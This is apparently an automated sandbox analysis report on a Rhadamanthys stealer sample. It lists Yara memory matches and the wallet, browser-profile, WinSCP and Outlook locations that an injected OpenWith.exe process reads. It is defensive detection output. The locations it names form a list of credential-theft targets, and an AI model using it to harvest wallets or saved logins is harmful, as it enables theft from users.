Source: Yara match	File source: 00000004.00000003.1855539140.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1875551874.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1836105614.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1849189930.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1835809635.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1820263145.00000149EABC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1862556714.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1842766373.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1895556015.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1850036443.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1846011615.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1869033684.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1834401410.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1869983996.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1864418183.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1900087266.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1841618473.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1847727226.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1841102498.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1827293945.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1743171217.00000149E7FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1870384738.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1732715826.000000001B790000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1854099505.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1869304089.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1867316447.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1834870839.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1866723582.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1847055049.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1825117026.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1853395898.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1868087667.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1824744647.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1850823165.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1895202612.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1868687963.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1839012082.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1851414734.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2025877192.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1833649423.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1863393703.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1840151430.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1851882644.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1845622274.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1865585143.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1836791970.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1835346077.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: OpenWith.exe, 00000004.00000003.1874986756.00000149EA1B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: !CP:Defichain-Electrum
Source: OpenWith.exe, 00000004.00000003.1874986756.00000149EA1B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\ElectronCash\config
Source: OpenWith.exe, 00000004.00000003.1869736232.00000149EA1B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\com.liberty.jaxx
Source: OpenWith.exe, 00000004.00000003.1874986756.00000149EA1B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt			Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser\newtab	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\safebrowsing	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\thumbnails	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\safebrowsing\google4	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash16598	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match

File source: Process Memory Space: OpenWith.exe PID: 7700, type: MEMORYSTR

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1838129032.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1860404032.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1848367747.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1844556462.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1874774148.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1850439856.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1871687520.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1822995618.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1839488162.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1876940522.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1852328722.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1837526724.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1908667751.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1844059304.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1843341449.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2037272936.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1747979036.000000001BDA1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1874529158.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1840606816.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1846437877.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1873686601.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1855539140.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1875551874.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1836105614.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1849189930.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1835809635.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1820263145.00000149EABC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1862556714.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1842766373.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1895556015.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1850036443.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1846011615.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
